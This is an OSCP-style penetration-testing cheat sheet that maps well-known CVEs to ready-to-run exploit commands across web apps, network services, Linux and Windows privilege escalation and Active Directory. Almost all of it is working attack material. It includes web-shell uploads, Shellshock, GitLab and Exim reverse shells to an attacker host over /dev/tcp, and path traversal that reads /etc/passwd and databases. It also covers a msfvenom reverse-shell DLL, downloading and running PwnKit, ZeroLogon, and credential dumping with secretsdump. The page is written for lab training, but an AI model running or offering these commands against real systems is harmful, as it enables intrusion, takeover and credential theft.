CVE Database

Known vulnerabilities commonly encountered on OSCP-style boxes, Proving Grounds, and HackTheBox. Organized by category with version ranges, PoC links, and quick usage examples.

How to use this page:

1. Identify the service and version on your target
2. Find it in the table below
3. Follow the PoC link or use the command provided

Always check SearchSploit first:

searchsploit <service> <version>
searchsploit -m <exploit_id>    # Mirror exploit to current directory

WEB APPLICATIONS

WordPress

# CVE-2020-25213 — WP File Manager unauthenticated upload
curl -F 'cmd=upload' -F 'target=l1_Lw' \
  -F 'upload[]=@shell.php' \
  http://$IP/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php
# Shell at: http://$IP/wp-content/plugins/wp-file-manager/lib/files/shell.php

Drupal

# CVE-2018-7600 — Drupalgeddon2 (most common)
python3 drupalgeddon2.py http://$IP/

# Metasploit:
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS $IP
run

Joomla

# CVE-2023-23752 — Information disclosure (leaks DB creds)
curl -s "http://$IP/api/index.php/v1/config/application?public=true" | python3 -m json.tool

# CVE-2017-8917 — SQLi
sqlmap -u "http://$IP/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 -p list[fullordering] --dbs

Apache Tomcat

# CVE-2020-1938 — Ghostcat (AJP port 8009)
python3 ajpShooter.py http://$IP:8009 /WEB-INF/web.xml read

# CVE-2017-12617 — PUT method JSP upload
curl -X PUT "http://$IP:8080/shell.jsp/" -d '<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>'

CMS Made Simple

python3 cmsms_sqli.py -u http://$IP/ --crack -w /usr/share/wordlists/rockyou.txt

GitLab

# CVE-2021-22205 — Unauthenticated RCE
python3 CVE-2021-22205.py -u http://$IP -c "bash -i >& /dev/tcp/$LHOST/4444 0>&1"

Grafana

curl --path-as-is "http://$IP:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
# Grab the database:
curl --path-as-is "http://$IP:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db" -o grafana.db

Jenkins

# CVE-2024-23897 — File read via CLI
java -jar jenkins-cli.jar -s http://$IP:8080/ help "@/etc/passwd"

Webmin

# CVE-2019-15107 — Unauthenticated RCE
curl -sk "https://$IP:10000/password_change.cgi" \
  -d 'user=root&pam=&expired=2&old=id%7Cid&new1=test&new2=test'

WebLogic

# CVE-2020-14882 — WebLogic unauthenticated RCE
curl "http://$IP:7001/console/css/%252e%252e%252fconsole.portal" \
  -H "cmd: id"

Magento

# CVE-2015-1397 — Shoplift (creates admin: forme/forme)
python2 shoplift.py http://$IP/

NETWORK SERVICES

FTP

# vsftpd 2.3.4 backdoor
nc $IP 21
USER test:)
PASS test
# Then: nc $IP 6200

# ProFTPD mod_copy
nc $IP 21
SITE CPFR /etc/passwd
SITE CPTO /var/www/html/passwd.txt

SMB / Samba

# MS17-010 — EternalBlue
nmap --script smb-vuln-ms17-010 -p 445 $IP
# Metasploit:
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS $IP
run

# CVE-2017-7494 — SambaCry
use exploit/linux/samba/is_known_pipename
set RHOSTS $IP
run

SSH

# CVE-2018-15473 — Username enumeration
python3 ssh_enum.py $IP -U users.txt
# Metasploit:
use auxiliary/scanner/ssh/ssh_enumusers

SMTP

# CVE-2019-10149 — Exim RCE
python3 raptor_exim_wiz.py -t $IP -p 25 -c "bash -i >& /dev/tcp/$LHOST/4444 0>&1"

WEB SERVERS

Apache

# Shellshock
curl -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/$LHOST/4444 0>&1" http://$IP/cgi-bin/script.sh

# CVE-2021-41773 — Apache path traversal + RCE
curl "http://$IP/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"
curl "http://$IP/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/bash" -d 'echo; id'

IIS

# CVE-2017-7269 — IIS 6.0 WebDAV
python2 iis6_exploit.py $IP 80 $LHOST 4444
# Metasploit:
use exploit/windows/iis/iis_webdav_scstoragepathfromurl

LINUX PRIVILEGE ESCALATION

# PwnKit (CVE-2021-4034) — Works on almost every unpatched Linux
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x PwnKit
./PwnKit

# Dirty COW (CVE-2016-5195)
gcc -pthread dirty.c -o dirty -lcrypt
./dirty newpassword

# Baron Samedit (CVE-2021-3156)
# Check if vulnerable:
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
# Exploit:
python3 CVE-2021-3156.py

# Dirty Pipe (CVE-2022-0847)
gcc exploit.c -o exploit
./exploit /etc/passwd 1 $'\npiped:$1$piped$password:0:0::/root:/bin/bash\n'
su piped  # password: password

WINDOWS PRIVILEGE ESCALATION

# PrintNightmare (CVE-2021-1675)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f dll -o evil.dll
impacket-smbserver share $(pwd) -smb2support
python3 CVE-2021-1675.py domain.local/user:'password'@$IP '\\$LHOST\share\evil.dll'

# ZeroLogon (CVE-2020-1472) — Resets DC machine password
python3 zerologon_tester.py DC_NAME $DC_IP
python3 cve-2020-1472-exploit.py DC_NAME $DC_IP
impacket-secretsdump -no-pass -just-dc domain.local/DC_NAME\$@$DC_IP

# HiveNightmare (CVE-2021-36934) — Copy SAM as regular user
icacls C:\Windows\System32\config\SAM
# If readable:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .
impacket-secretsdump -sam SAM -system SYSTEM LOCAL

# MS16-032
Import-Module .\Invoke-MS16-032.ps1
Invoke-MS16-032

ACTIVE DIRECTORY

# noPac (CVE-2021-42278 + CVE-2021-42287) — User to DA
python3 noPac.py domain.local/user:'password' -dc-ip $DC_IP -dc-host DC01 --impersonate administrator -dump

# Certifried (CVE-2022-26923) — Via AD CS
certipy account create -u user@domain.local -p 'password' -dc-ip $DC_IP -user machine$ -dns dc.domain.local
certipy req -u machine$@domain.local -p 'password' -dc-ip $DC_IP -ca CORP-CA -template Machine
certipy auth -pfx dc.pfx -dc-ip $DC_IP

QUICK LOOKUP WORKFLOW

When you find a service version, follow this process:

1. searchsploit <service> <version>        → Local exploit database
2. Google: "<service> <version> exploit"    → Recent PoCs
3. Check this page                          → Curated OSCP-relevant CVEs
4. GitHub search: "CVE-YYYY-XXXXX"         → Find PoC repos
5. HackTricks: book.hacktricks.wiki        → Methodology + exploits